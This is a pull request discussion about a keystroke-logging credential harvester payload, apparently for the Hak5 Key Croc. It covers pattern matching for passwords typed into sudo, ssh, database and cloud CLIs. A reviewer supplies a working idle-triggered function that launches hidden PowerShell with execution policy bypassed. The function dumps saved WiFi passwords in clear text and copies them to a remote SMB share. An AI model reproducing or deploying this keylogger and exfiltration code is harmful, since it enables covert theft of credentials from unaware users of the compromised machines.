feat: NullSec-KeySiphon — Intelligent Keystroke Credential Harvester

[bad-antics]

NullSec-KeySiphon

Intelligent keystroke logging payload for the Key Croc with pattern-matching credential detection.

Features:

• 25+ MATCH Patterns for credential detection
• Smart Categorization — Separates credential keystrokes from general typing
• Coverage:
  • System auth: sudo, su, ssh, runas, passwd
  • Database: mysql, psql, smbclient
  • WiFi: wpa_passphrase, nmcli, netsh wlan
  • Cloud/API: aws configure, az login, gcloud auth, tokens, API keys
  • Web: password, login, username patterns

Output:

keysiphon/
├── credentials.txt   # Matched credential patterns
├── keylog.txt        # Full keystroke log
├── wifi_keys.txt     # WiFi passwords
└── urls.txt          # Captured URLs

Optional Active Recon:

Includes commented-out idle-triggered WiFi credential extraction that activates when the user is away.

Cross-platform — detects patterns from Windows, macOS, and Linux terminals.

[hak5peaks]

I think the better way to do this is to put content within a function and comment out the function call. This will all the end user to more easily configure the payload, only needs to uncomment 1 line vs multiple.

For example:

wifi_dump() {
    WAIT_FOR_IDLE 300
    LED B
    Q DELAY 500

    if [[ "$OS" == "WINDOWS" ]]; then
        Q GUI r
        Q DELAY 500
        Q STRING powershell -w hidden -ep bypass -c "
            \$o = @()
            \$o += '=== WiFi Profiles ==='
            netsh wlan show profiles | Select-String 'All User' | ForEach {
                \$name = (\$_ -split ': ')[1].Trim()
                \$key = (netsh wlan show profile name=\$name key=clear | Select-String 'Key Content').ToString().Split(':')[1].Trim()
                \$o += \"\$name : \$key\"
            }
            \$o | Out-File -FilePath '\\\\172.16.64.1\\croc_loot\\wifi_auto.txt'
        "
        Q ENTER
    fi

    LED G
}

# wifi_dump```

[hak5peaks]

Where are you getting the $OS variable? The keycroc does not have native OS detection or an OS global variable. I do not see it defined within the payload.

[bad-antics]

Thanks for the detailed review @hak5peaks! Just pushed fixes (commit 3f7fb41) addressing both points:

Re: wifi_dump function structure — The active WiFi recon is now properly wrapped in a wifi_dump() function (with Windows, macOS, and Linux branches). Both detect_os and wifi_dump calls are commented out at the bottom of the script — users just uncomment to enable.

Re: $OS variable — You're right, it wasn't defined. Added a detect_os() function that reads udev USB device metadata to fingerprint the connected host OS, storing the result in $OS. A conservative WINDOWS fallback is used if detection is inconclusive. The function runs before wifi_dump() when both are uncommented.

Let me know if anything else needs adjusting!

[bad-antics]

Hey @hak5peaks, pushed fixes in 8c4b037 addressing both review points:

1. $OS variable — wifi_dump() now calls detect_os() internally so $OS is never referenced without being defined first. No more orphaned variable.

2. Function structure — All active recon is wrapped inside wifi_dump(). The end user only needs to uncomment one line (# wifi_dump) to enable the entire active recon flow.

Let me know if there's anything else!

[bad-antics]

@hak5peaks — all the review feedback has been addressed in the branch. To summarize:

1. wifi_dump() function structure ✅ — Active WiFi recon is fully wrapped in wifi_dump() with Windows/macOS/Linux branches inside. The call at the bottom is commented out so users only need to uncomment 1 line to enable it (exactly as suggested in your review).

2. $OS variable ✅ — wifi_dump() now calls detect_os() internally as its first action, so $OS is never referenced before being set. No external dependency.

Ready for re-review whenever you get a chance! Happy to make any further adjustments.